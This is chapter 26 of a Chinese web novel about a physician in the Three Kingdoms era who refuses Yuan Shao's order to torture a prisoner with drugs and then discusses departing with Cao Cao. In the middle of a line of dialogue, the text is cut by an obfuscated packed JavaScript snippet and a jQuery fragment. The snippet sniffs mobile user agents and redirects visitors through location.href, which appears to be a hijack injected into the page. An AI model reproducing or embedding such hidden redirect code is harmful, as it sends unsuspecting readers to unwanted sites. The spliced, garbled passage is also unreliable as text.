26. 贰拾陆

作品:《我靠现代医学在三国封神

    杜若的心悬起来,她抬眼看向袁绍,那人仍有醉意,可眼底的光并不浑沌。


    丝竹管弦之音未停,周遭却生出一股压迫的气息。


    杜若站起身,静静开口:


    “请大将军恕罪,此事草民实难从命。”


    席间骤静。


    袁绍眉梢微抬,似笑非笑:“时济此话何意?”


    杜若垂眸。


    “时济习医十余载,祖师爷所授第一课,就是持针如持心,下药如下誓。”


    她的目光落在自己骨节分明的十指上。


    “这双手可用药救人,只是不知如何用药施虐。”


    有人倒吸冷气。


    袁绍笑意转冷,起身踱步而下:“你的意思是指本将军,要你用毒行不义之事?”


    他停在她三步之外,“时济难道不知,这贼人通敌叛国,对他仁慈,岂非对天子与百姓的背叛?你是在质疑本将军对天子的一片忠心么?”


    “时济不敢!”


    杜若姿态恭谨,微微垂首。


    “将军对天子百姓之心,如日月般人可共鉴。我此举是不敢玷污大将军的清名!”


    “医者用药如将帅用兵,贵在清正。毒刑逼供之药,典籍不载,师门不传,时济也从未学过。若勉强为之,无非两类结果:


    她抬起眼,目光清澈见底。


    “其一,药力不足,徒令贼人耻笑将军麾下无人;其二,用量失当,贼人猝死,则重要线索丧失。”


    她稍作停顿。


    “无论哪种,都于将军的大事无益,反损将军明断之声。大将军四世三公,门风清正,世人皆知袁氏子弟行事,向来光明如日月,刚正如松柏。”


    她微微抬眸,“若今夜事传扬,外人不知将军审贼之苦心,反会议论将军手段有损磊落。为区区一贼,污袁氏百年清誉。时济即便愚钝,也知此事是万万不可为之。”


    她顿了顿,唇边竟浮起一丝极通透的笑意。


    “故时济斗胆揣测,大将军方才所言,必是酒后戏言,意在试探时济是否谨守医道本心。”她再度揖礼,“将军高明,有如此手段识人用人,安恐不汇聚天下人才于洛阳,为天子共图大事!”


    她轻轻叹了口气。


    “时济……已通过试炼了罢?”


    满堂死寂。烛火噼啪一声。


    袁绍忽地大笑起来。


    “时济果然冰雪聪明,无怪乎孟德盛赞。”


    他举起酒杯,朝四周划过,“若是医者都能随意更改本心,那这天下,可实在令人恐惧了。杜大夫,深得我心,深明我意也!”


    他一饮而尽。


    周遭附和声又沸腾起来,觥筹交错间,众人纷纷称赞袁绍慧眼识人,称赞杜若不忘初心。


    曹操摩挲着杯沿,静静看向杜若。烛火在他眼底明灭,看不真切。


    那簇光,同样映在杜若低垂的睫羽上。


    夜深人散,书房内只余一盏孤灯。杜若护着手中一点微光,俯身替曹操案前换上一支新蜡烛。暖黄的光晕开。


    “时济何须亲理此等琐事?”


    “孟德兄平日事必躬亲,非必要不劳他人,我不过效仿罢了。”


    她答得轻巧,烛芯却在眼底轻微一爆。


    昨夜宴席上的刀锋,袁绍绵里藏针的笑,曹操静观其变的眼神。每一幕都让人耗尽心神。


    该走了。


    杜若暗下决心。


    二人几乎在同时开口:


    “时济。”


    “孟德兄。”


    曹操抬手示意她先说。杜若推让不过,想了想,还是直言道:“这几个月来,我师徒二人多蒙孟德兄照拂。然而如今天下流疫横行,师父欲回乡寻访古方,济世救民,时济也愿随行。今日,是来向孟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148583|194963||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    德兄辞行的。”


    曹操一怔。


    他踱了两步,“是曹某何处怠慢了?”


    “全然没有!”杜若摇头,目光落在跳跃的烛火上,“孟德兄志在天下,当知医者之心,见疾苦而不能往,如将士见烽烟而不能发。”


    曹操沉默良久,终是一叹:“你既言止于此,我本不该强留。”他抬眼,目光复杂难辨,“只是方才我想说之事,正与此相关。”


    他略作停顿。


    “昨夜之后,本初兄对你青眼有加。他已派人来,要我放你过去。”


    杜若背脊一僵。


    “本初兄门第显赫,自是常人眼中的好去处。可他性情......时济当有体会。”曹操声音压得更低,“我既受元龙所托照应二位,岂能轻许?”


    他转身,侧影投在墙上,显得深重。


    “前日朝廷授我济南相,明升暗贬,我本想拒绝,可又想到,此事若拒,恐怕也只能归乡养老了。”


    他回头看向杜若,“时济尚知乱世之中医者不可避世,曹操又岂能因私愤而忘公义?”


    “我顺水推舟,与本初兄明言,我愿去济南,只是此去山长水远,不知归期何时。我又与时济实在相契,不忍割爱,他虽不豫,到底念及少年情谊,答应了。”


    杜若蹙眉:“孟德兄,这……”


    “你若此时独去,便是当面驳他颜面。”曹操向前半步,身影几乎遮住了她面前的光,“此人骄傲,最恨拂逆。但若随我赴任,既能全身而退,又不失婉转。到了济南,山高水远,届时你们若要云游行医,或归乡著书......”


    “曹某也无法强留,我届时也可遣人护送你们周全。如此可好?”


    曹操字字恳切,却又像步步为营。


    “孟德兄思虑周全……”杜若轻轻一叹,“时济代师父谢过。我这便去与师父商议。”